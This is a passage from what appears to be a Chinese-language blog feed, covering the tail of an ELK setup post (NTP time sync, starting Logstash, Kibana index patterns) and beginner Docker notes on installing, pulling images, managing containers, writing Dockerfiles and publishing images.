&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="同步系统时间"><a href="#同步系统时间" class="headerlink" title="同步系统时间"></a>同步系统时间</h3><p>因为系统时间不准确,所以更新一下系统时间,与阿里的ntp服务器进行同步</p><p>ntp1.aliyun.com ~ ntp5.aliyun.com这几个ntp服务器都可以使用的</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost config]# ntpdate ntp1.aliyun.com  #进行同步 </span><br><span class="line"></span><br><span class="line">29 May 15:04:13 ntpdate[20946]: adjust time server 120.25.115.20 offset -0.004502 sec  </span><br><span class="line"></span><br><span class="line">[root@localhost config]# date -R  #查看当前时区时间 Wed, 29 May 2019 15:04:56 +0800</span><br></pre></td></tr></table></figure><h3 id="启动服务-1"><a href="#启动服务-1" class="headerlink" title="启动服务"></a>启动服务</h3><p>然后去启动logstash服务</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost config]# ../bin/logstash -f logstash3.conf</span><br></pre></td></tr></table></figure><h3 id="ELK联动-1"><a href="#ELK联动-1" class="headerlink" title="ELK联动"></a>ELK联动</h3><p>去访问本地的5601端口,打开kibana</p><p>可以在kibana上看到增加了一个索引</p><p><img src="https://cdn.sinaimg.cn.52ecy.cn/large/005BYqpgly1g3iom7zhfej319b0gpn06.jpg" alt=""></p><p>然后去创建模式,设置索引模式为msg-*,即是以msg-开头的索引都进行匹配</p><p><img src="https://cdn.sinaimg.cn.52ecy.cn/large/005BYqpgly1g3iomyon0wj31hc0pn45g.jpg" alt=""></p><p>设置按系统时间来进行过滤</p><p><img src="https://cdn.sinaimg.cn.52ecy.cn/large/005BYqpgly1g3iont5fwfj311w0jqq5z.jpg" alt=""></p><p>然后在Discover面板选择msg-*模块就可以看到当前的数据</p><p><img src="https://cdn.sinaimg.cn.52ecy.cn/large/005BYqpgly1g3ioohrod1j31hc0ozgvg.jpg" alt=""></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla
      
    
    </summary>
    
      <category term="运维技术" scheme="https://louisnie.github.io/categories/%E8%BF%90%E7%BB%B4%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="ELK" scheme="https://louisnie.github.io/tags/ELK/"/>
    
  </entry>
  
  <entry>
    <title>docker学习笔记(一)</title>
    <link href="https://louisnie.github.io/2019/05/14/docker%E5%9F%BA%E7%A1%80(%E4%B8%80)/"/>
    <id>https://louisnie.github.io/2019/05/14/docker基础(一)/</id>
    <published>2019-05-14T12:57:28.000Z</published>
    <updated>2019-05-19T14:55:39.599Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><blockquote class="blockquote-center">穷则思变,变则通,通则达!</blockquote><div align="middle"><iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width="330" height="86" src="//music.163.com/outchain/player?type=2&id=325098&auto=1&height=66"></iframe></div><h3 id="Docker简介"><a href="#Docker简介" class="headerlink" title="Docker简介:"></a>Docker简介:</h3><p>Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux机器上,也可以实现虚拟化.容器是完全使用沙盒机制,互相之间不会有任何接口(类似iPhone的APP)几乎没有性能开销,很容易的在机器和数据中心中运行.最重要的是,他们不依赖任何语言,框架或包装系统</p><h4 id="沙盒"><a href="#沙盒" class="headerlink" title="沙盒"></a>沙盒</h4><p>沙盒也叫沙箱,英文sandbox.在计算机领域指的是一种虚拟技术,且多用于计算机安全技术.安全软件可以先让它在沙盒中运行,如果有恶意行为,则禁止程序的进一步运行,而这不会给系统造成任何危害</p><p>Docker是dotCloud公司开源的一个基于LCX的高级容器引擎,源代码托管在github上,基于go语言并遵从Apache2.0协议开源,其官网为:&lt;<a href="https://www.docker.com" target="_blank" rel="noopener">https://www.docker.com</a></p><h4 id="LCX"><a href="#LCX" class="headerlink" title="LCX"></a>LCX</h4><p>LCX是Linux Container的简写,Linux Container容器是一种内核虚拟化技术,可以提供轻量级的虚拟化,以便隔离进程和资源,而且不需要提供指令解释机制以及全虚拟化的其他复杂性</p><p>LCX主要是通过来自kernel的namespace实现每个用户实例之间的相互隔离,通过cgroup实现对资源的配置和度量.</p><h4 id="docker容器技术和虚拟机对比"><a href="#docker容器技术和虚拟机对比" class="headerlink" title="docker容器技术和虚拟机对比"></a><strong>docker容器技术和虚拟机对比</strong></h4><ul><li>相同点:docker容器技术和虚拟机技术都是虚拟化技术</li><li>不同点:docker相当于vm虚拟机,但少了虚拟机操作系统这一层,所以docker效率要比vm强</li></ul><h3 id="docker架构"><a href="#docker架构" class="headerlink" title="docker架构"></a>docker架构</h3><p><img src="http://ww1.sinaimg.cn/large/0078beR7ly1g313juc6o9j30j10dg41f.jpg" alt=""></p><h4 id="工作流程"><a href="#工作流程" class="headerlink" title="工作流程:"></a>工作流程:</h4><p>服务器A上运行docker engine服务,在docker engine上启动多个container,从外网docker hub上把image操作系统镜像下载下来,放到container容器中运行,这样一个容器的实例就运行起来了.最后通过docker client对docker容器虚拟化平台进行控制</p><h4 id="image和container的区别"><a href="#image和container的区别" class="headerlink" title="image和container的区别:"></a>image和container的区别:</h4><p>image可以理解为一个系统镜像,container是image在运行时的一个状态.如果拿虚拟机作一个比喻的话,image是关机状态下的磁盘文件,container是虚拟机运行时的磁盘文件,包括内存数据    </p><h4 id="docker-hub"><a href="#docker-hub" class="headerlink" title="docker hub"></a>docker hub</h4><p>是docker官方的镜像存储站点,其中提供了很多常用的镜像供用户下载,如ubuntu,centos等系统镜像,通过docker hub,用户也可以发布自己的docker镜像,为此用户需要注册一个账号,在网站上创建一个docker仓库</p><h4 id="docker核心技术"><a href="#docker核心技术" class="headerlink" title="docker核心技术:"></a>docker核心技术:</h4><p>namespace—–实现container的进程,网络,消息,文件系统和主机名的隔离</p><p>cgroup——实现对资源的配额和度量</p><h4 id="docker的特性"><a href="#docker的特性" class="headerlink" title="docker的特性"></a>docker的特性</h4><ul><li><ul><li><p>文件系统隔离:每个进程容器运行在一个完全独立的根文件系统中</p></li><li><p>资源各类:系统资源,像CUP和内存等可以分配到不同的容器中,使用cgroup</p></li><li><p>日志记录:docker将会收集和记录每个进程容器的标准流(stdout/stderr/stdin),用于实时检索或批量检索</p></li><li><p>变更管理:容器文件系统的变更可以提交到新的镜像中,并可重复使用已创建更多的容器,无需使用模板或手工配置</p></li><li><p>交互式shell:docker可以分配一个虚拟终端并关联到任何容器的标准输入上,例如运行一个一次性交互的shell</p></li></ul></li></ul><h3 id="Docker的优缺点"><a href="#Docker的优缺点" class="headerlink" title="Docker的优缺点:"></a>Docker的优缺点:</h3><h4 id="优点："><a href="#优点：" class="headerlink" title="优点："></a>优点：</h4><ol><li><p>一些优势和 VM 一样，但不是所有都一样。</p><p> VM 小，比 VM 快，Docker 容器的尺寸减小相比整个虚拟机大大简化了分布到云和从云分发时间和开销。Docker 启劢一个容器实例时间徆短，一两秒就可以启劢一个实例。</p><p>对于在笔记本电脑，数据中心的虚拟机，以及任何的云上，运行相同的没有变化的应用程序，IT 的发布速度更快。</p><p>Docker 是一个开放的平台，构建，发布和运行分布式应用程序。</p><p>Docker 使应用程序能够快速从组件组装和避免开发和生产环境之间的摩擦。</p></li><li><p>您可以在部署在公司局域网戒云戒虚拟机上使用它。</p></li><li><p>开发人员并不关心具体哪个 Linux 操作系统</p><p>使用 Docker，开发人员可以根据所有依赖关系构建相应的软件，针对他们所选择的操作系统。</p><p>然后，在部署时一切是完全一样的，因为一切都在 DockerImage 的容器在其上运行。</p><p>开发人员负责并且能够确保所有的相关性得到满足。</p></li><li><p>Google，微软，亚马逊，IBM 等都支持 Docker。</p></li><li><p>Docker 支持 Unix/Linux 操作系统，也支持 Windows 戒 Mac</p></li></ol><h4 id="缺点："><a href="#缺点：" class="headerlink" title="缺点："></a>缺点：</h4><p>1.Docker 用于应用程序时是最有用的，但并丌包含数据。日志，跟踪和数据库等通常应放在 Docker</p><p>容器外。一个容器的镜像通常都徆小，丌适合存大量数据，存储可以通过外部挂载的方式使用。比如使用：NFS，ipsan，MFS 等, -v 映射磁盘分区</p><p>2.一句话：docker 叧用于计算，存储交给别人。</p><p>3.oracle 不适合使用 docker 来运行，太大了，存储的数据太多。</p><h3 id="安装docker"><a href="#安装docker" class="headerlink" title="安装docker"></a>安装docker</h3><p>在红帽7/centos7上安装</p><p>下载docker引擎的rpm安装包</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget https://get.docker.com/rpm/1.7.1/centos-7/RPMS/x86_64/docker-engine-1.7.1-1.el7.centos.x86_64.rpm</span><br></pre></td></tr></table></figure><p>安装docker</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rpm -ivh docker-engine-1.7.1-1.el7.centos.x86_64.rpm</span><br></pre></td></tr></table></figure><p>开启docker</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl  start docker</span><br></pre></td></tr></table></figure><p>设置开机自启</p><p>systemctl  enable docker  </p><p>查看docker信息</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker info</span><br></pre></td></tr></table></figure><p>查看所存在的镜像</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker images</span><br></pre></td></tr></table></figure><p>从 Docker Hub 仓库下载一个 Ubuntu 12.04 操作系统的镜像</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker pull ubuntu:12.04</span><br></pre></td></tr></table></figure><p>  这条命令实际上相当于  docker pull registry.hub.docker.com/ubuntu:12.04 命令，即从注册服务器 registry.hub.docker.com 中的 ubuntu 仓库来下载标记为 12.04 的镜像。如果不指定版本的话,那么就去下载最新版的ubuntu</p><p>用镜像创建一个容器  <strong>-t</strong> :指定要创建的目标镜像名</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">docker run -t -i ubuntu:12.04 /bin/bash       </span><br><span class="line">root@afcdf3ef30bc:/# cat /etc/issue   //查看版本,发现已经进入了ubuntu Ubuntu 12.04.5 LTS \n \l  </span><br><span class="line"></span><br><span class="line">root@afcdf3ef30bc:/# exit     //退出镜像 exit</span><br></pre></td></tr></table></figure><p>查看所存在的镜像</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# docker images     </span><br><span class="line"></span><br><span class="line">REPOSITORY          TAG                 IMAGE ID            CREATED             VIRTUAL SIZE </span><br><span class="line"></span><br><span class="line">ubuntu              12.04               62b726df5062        23 months ago       103.6 MB</span><br></pre></td></tr></table></figure><p>docker inspect +IMAGE ID可以查看当前镜像的具体信息</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# docker inspect 62b726df5062</span><br></pre></td></tr></table></figure><p>通过docker rmi ubuntu:版本/id删除镜像</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# docker rmi ubuntu:12.04</span><br></pre></td></tr></table></figure><p>修改镜像的tag(标签)</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# docker tag  ubuntu:12.04  ubuntu:newtag</span><br></pre></td></tr></table></figure><p>docker下载kali系统</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# docker pull kalilinux/kali-linux-docker</span><br></pre></td></tr></table></figure><p>在Docker Hub搜寻镜像</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# docker search httpd</span><br></pre></td></tr></table></figure><p><strong>查看docker详细信息</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# docker info</span><br></pre></td></tr></table></figure><p><strong>从docker hub搜索所需要的镜像,如果 OFFICIAL 为[ok] ，说明可以放心使用。</strong> </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# docker search centos</span><br></pre></td></tr></table></figure><p><strong>从docker hub拉取(下载)镜像 pull:拉</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# docker pull centos</span><br></pre></td></tr></table></figure><h3 id="pull镜像出错解决方法"><a href="#pull镜像出错解决方法" class="headerlink" title="pull镜像出错解决方法"></a>pull镜像出错解决方法</h3><h4 id="错误一"><a href="#错误一" class="headerlink" title="错误一"></a>错误一</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">[root@xuegod63 ~]# docker pull docker.io/centos</span><br><span class="line"></span><br><span class="line">Using default tag: latest</span><br><span class="line"></span><br><span class="line">Trying to pull repository docker.io/library/centos ...  </span><br><span class="line"></span><br><span class="line">latest: Pulling from docker.io/library/centosGet </span><br><span class="line"></span><br><span class="line">https://registry-1.docker.io/v2/library/centos/manifests/sha256:822de5245dc5b659df56dd</span><br><span class="line"></span><br><span class="line">32795b08ae42db4cc901f3462fc509e91e97132dc0: net/http: TLS handshake timeout</span><br></pre></td></tr></table></figure><h5 id="法一-换国内源"><a href="#法一-换国内源" class="headerlink" title="法一:换国内源"></a>法一:换国内源</h5><p><strong>修改/etc/docker/daemon.json</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">[root@xuegod63 ~]# vim /etc/docker/daemon.json #改成以下内容</span><br><span class="line"></span><br><span class="line">改： &#123;&#125;</span><br><span class="line"></span><br><span class="line">为：</span><br><span class="line"></span><br><span class="line">&#123;</span><br><span class="line"></span><br><span class="line">&quot;registry-mirrors&quot;: [&quot;https://e9yneuy4.mirror.aliyuncs.com&quot;]</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">[root@xuegod63 ~]# systemctl daemon-reload**</span><br><span class="line"></span><br><span class="line">[root@xuegod63 ~]# systemctl restart docker**</span><br><span class="line"></span><br><span class="line">[root@xuegod63 ~]# docker pull docker.io/centos #再下载，就可以了。</span><br></pre></td></tr></table></figure><h5 id="法二：把之前下载好的-image-镜像导入-image："><a href="#法二：把之前下载好的-image-镜像导入-image：" class="headerlink" title="法二：把之前下载好的 image 镜像导入 image："></a>法二：把之前下载好的 image 镜像导入 image：</h5><p><strong>把 docker.io-centos.tar 镜像上传到 linux 上</strong></p><p><strong>参数： -i “ docker.io-centos.tar “ 指定载入的镜像归档。</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@xuegod63 ~]# docker load -i /root/docker.io-centos.tar</span><br></pre></td></tr></table></figure><h5 id="法三：直接下载其他站点的镜像"><a href="#法三：直接下载其他站点的镜像" class="headerlink" title="法三：直接下载其他站点的镜像"></a>法三：直接下载其他站点的镜像</h5><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">[root@xuegod63 ~]# docker pull hub.c.163.com/library/tomcat:latest</span><br><span class="line">[root@xuegod63 ~]# docker images</span><br><span class="line"></span><br><span class="line">REPOSITORY TAG IMAGE ID CREATED SIZE</span><br><span class="line"></span><br><span class="line">hub.c.163.com/library/tomcat** **latest 72d2be374029 4 months ago 292.4 MB</span><br></pre></td></tr></table></figure><p><strong>查看 images 列表</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">[root@xuegod63 ~]# docker images #列出本地所有镜像。其中 [name] 对镜像名称进行关键</span><br><span class="line"></span><br><span class="line">词查询。</span><br><span class="line">[root@xuegod63 ~]# docker images</span><br><span class="line"></span><br><span class="line">REPOSITORY TAG IMAGE ID CREATED SIZE</span><br><span class="line"></span><br><span class="line">docker.io/centos latest 8caf41e7a3ea 31 minutes ago 205.3 MB</span><br></pre></td></tr></table></figure><h4 id="错误二"><a href="#错误二" class="headerlink" title="错误二:"></a>错误二:</h4><p>如果报以下错误:表示没有开启网络转发功能的话就会报错,默认已自动打开</p><p><img src="http://ww1.sinaimg.cn/large/0078beR7ly1g2zo3zq2o5j30i701da9w.jpg" alt=""></p><p>那么输入以下内容</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# echo 1 &gt;/proc/sys/net/ipv4/ip_forward</span><br></pre></td></tr></table></figure><p>或者修改一下文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">[root@xuegod63 ~]# vim /etc/sysctl.conf </span><br><span class="line"></span><br><span class="line">#插入以下内容 </span><br><span class="line"></span><br><span class="line">net.ipv4.ip_forward = 1 </span><br><span class="line"></span><br><span class="line">[root@xuegod63 ~]# sysctl -p #生效</span><br><span class="line"></span><br><span class="line"> net.ipv4.ip_forward = 1</span><br><span class="line"></span><br><span class="line"> [root@xuegod63 ~]# cat /proc/sys/net/ipv4/ip_forward </span><br><span class="line"></span><br><span class="line">1</span><br></pre></td></tr></table></figure><h3 id="docker实践"><a href="#docker实践" class="headerlink" title="docker实践:"></a>docker实践:</h3><h4 id="实例1-在实例中执行bash命令"><a href="#实例1-在实例中执行bash命令" class="headerlink" title="实例1:在实例中执行bash命令"></a>实例1:在实例中执行bash命令</h4><p>运行一个container并加载centos,运行起来之后,在实例中执行/bin/bash命令</p><ul><li>run:运行</li><li>-i:以交互模式运行容器,通常与-t同时使用</li><li>-t:为容器重新分配一个伪输入终端,通常与-i同时使用</li></ul><p>格式:docker run -it 镜像名:tags  /bin/bash</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# docker run -it centos /bin/bash </span><br><span class="line">[root@47a67a198aa8 /]# exit exit</span><br></pre></td></tr></table></figure><h4 id="实例2-模拟后台运行服务"><a href="#实例2-模拟后台运行服务" class="headerlink" title="实例2:模拟后台运行服务"></a>实例2:模拟后台运行服务</h4><p>例2:在container中运行一个长久运行的进程,不断向stdin输出helloworld,模拟一个后台运行服务</p><p>docker常用参数:</p><ul><li><ul><li>-d:在后台运行容器,并返回容器ID</li><li>-c:后面跟待完成的命令,bash指的是使用bash去执行命令</li></ul></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# docker run -d centos:latest bash  -c &quot;while true;do echo hello,world;sleep 1;done&quot; 2822f36cb76defc5923ea509d32eaa3fae165830064484746c97aabbc0339839</span><br></pre></td></tr></table></figure><p>返回值为容器的ID</p><p>也可以使用docker ps查看所有运行的容器,可以发现其容器ID</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost docker]# docker ps CONTAINER ID        IMAGE               COMMAND                CREATED             STATUS              PORTS               NAMES 2822f36cb76d        centos:latest       &quot;bash -c &apos;while true   11 minutes ago      Up 11 minutes                           goofy_hodgkin</span><br></pre></td></tr></table></figure><p>​    </p><p>列所有的容器(包含沉睡/退出状态的容器)</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker  ps  -a</span><br></pre></td></tr></table></figure><p>从容器中取日志,查看输出内容</p><p>语法:docker logs 容器id</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# dockerCONTAINER ID        IMAGE               COMMAND                CREATED             STATUS              PORTS               NAMES 2822f36cb76d        centos:latest       &quot;bash -c &apos;while true   11 minutes ago      Up 11 minutes                           goofy_hodgkin        logs 2822f36cb76defc5923ea509d32eaa3fae165830064484746c97aabbc0339839</span><br></pre></td></tr></table></figure><p><img src="http://ww1.sinaimg.cn/large/0078beR7ly1g2zo3l5gfpj31800jqdgj.jpg" alt=""></p><h4 id="实例3-kill掉一个容器"><a href="#实例3-kill掉一个容器" class="headerlink" title="实例3:kill掉一个容器"></a>实例3:kill掉一个容器</h4><p><strong>首先列出所有的容器</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# docker ps -a</span><br></pre></td></tr></table></figure><p><strong>杀死容器docker kill  容器ID</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# docker kill c4a213627f1b c4a213627f1b</span><br></pre></td></tr></table></figure><p><strong>关闭容器</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# docker stop 2822f36cb76d 2822f36cb76d</span><br></pre></td></tr></table></figure><p><strong>开启容器</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# docker start 2822f36cb76d 2822f36cb76d</span><br></pre></td></tr></table></figure><p><strong>删除容器(不能删除正在运行的容器)</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# docker rm 2822f36cb76d</span><br></pre></td></tr></table></figure><p><strong>强制删除容器(可以删正在运行的容器)</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# docker rm -f 2822f36cb76d</span><br></pre></td></tr></table></figure><p><strong>删除镜像(image)</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# docker rmi 9ab5ff067039 </span><br><span class="line">Deleted: 9ab5ff0670399b1ac4dad4c2aaf61e59489155325d3fb5082ecae75d2b3e5fc8</span><br></pre></td></tr></table></figure><h3 id="docker镜像制作方法"><a href="#docker镜像制作方法" class="headerlink" title="docker镜像制作方法:"></a>docker镜像制作方法:</h3><ul><li><p>法一:使用docker commit 容器ID(或者镜像名),保存container的当前状态到image后,然后生成对应的image</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# docker commit 95e796801e15433631bb6cee9e4f101503396db5732f578c4a842ceeb6d82862 centos1:lastest </span><br><span class="line">#docker commit 容器ID  生成的容器名:标签</span><br><span class="line">#也可以直接docker commit 容器ID</span><br></pre></td></tr></table></figure></li><li><p>法二:在Docker file文件下使用docker build自动化制作镜像,Dockerfile有点像源码编译时./configure后产生的Makefile</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# cd /</span><br><span class="line">[root@localhost /]# mkdir docker-build</span><br><span class="line">[root@localhost /]# cd docker-build/</span><br><span class="line">[root@localhost docker-build]# touch Dockerfile</span><br><span class="line">[root@localhost docker-build]# vim Dockerfile </span><br><span class="line">#填写以下内容</span><br><span class="line">FROM docker.io/centos:latest   #FROM基于哪个镜像</span><br><span class="line">MAINTAINER &lt;mk@xuegod.cn&gt; #MAINTAINER镜像创建者</span><br><span class="line">RUN yum -y install httpd   #RUN安装软件</span><br><span class="line">ADD start.sh /usr/local/bin/start.sh  #把start.sh启动脚本安装到镜像的/usr/local/bin/start.sh目录下</span><br><span class="line"></span><br><span class="line">#把index.html启动脚本安装到镜像的/var/www/html/index.html里</span><br><span class="line">ADD index.html /var/www/html/index.html </span><br><span class="line"></span><br><span class="line">#container启动时执行的命令或启动服务,但是一个Dockerfile中只能有一条CMD命令,多条则</span><br><span class="line">CMD echo hello,world</span><br></pre></td></tr></table></figure><p>或者写入另一个Dockerfile文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"># vim dockefile1</span><br><span class="line">FROM ubuntu</span><br><span class="line">MAINTAINER xxx</span><br><span class="line">RUN echo hello1 &gt; test1.txt</span><br><span class="line">RUN echo hello2 &gt; /test2.txt</span><br><span class="line">EXPOSE 80</span><br><span class="line">EXPOSE 81</span><br><span class="line">CMD [&quot;/bin/bash&quot;]</span><br></pre></td></tr></table></figure></li></ul><p>3、创建 start.sh 脚本启劢 httpd 服务和 apache 默认首页 index.html 文件 </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost docker-build]#  echo &quot;/usr/sbin/httpd -DFOREGROUND&quot; &gt; start.sh </span><br><span class="line"></span><br><span class="line">注: /usr/sbin/httpd -DFOREGROUND 相当于执行了 systemctl start httpd </span><br><span class="line"></span><br><span class="line">[root@localhost docker-build]#  chmod a+x start.sh</span><br></pre></td></tr></table></figure><p>创建 index.html </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost docker-build]#  echo &quot;docker image build test&quot; &gt; index.html</span><br></pre></td></tr></table></figure><p>4、使用命令 build 来创建新的 image </p><p>语法：docker build -t 父镜像名：镜像的 tag Dockerfile 文件所在路径 </p><p>-t :表示 tage，镜像名 </p><p>例：使用命令 docker build 来创建新的 image,并命名为 docker.io/centos:httpd </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost docker-build]#  docker build -t docker.io/centos:httpd ./</span><br></pre></td></tr></table></figure><p>注： ./ 表示当前目彔。另外你的当前目彔下要包含 Dockerfile </p><h3 id="Docker-Image的发布"><a href="#Docker-Image的发布" class="headerlink" title="Docker Image的发布"></a>Docker Image的发布</h3><p>docker镜像=应用/程序+库</p><p>方法一:save image to tarball,保存镜像到tar包</p><p>语法:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker save -o 导出的镜像名.tar  本地镜像名:镜像标签</span><br></pre></td></tr></table></figure><p>然后导入时使用</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker load -i 导出的镜像名.tar</span><br></pre></td></tr></table></figure><p>方法二:push到docker hub上  </p><p>1.注册账号:<a href="https://hub.docker.com/" target="_blank" rel="noopener">https://hub.docker.com/</a></p><p>2.登陆docker hub</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker login -u 用户名 -p 密码 -e 邮箱地址</span><br></pre></td></tr></table></figure><p>3.上传镜像</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span 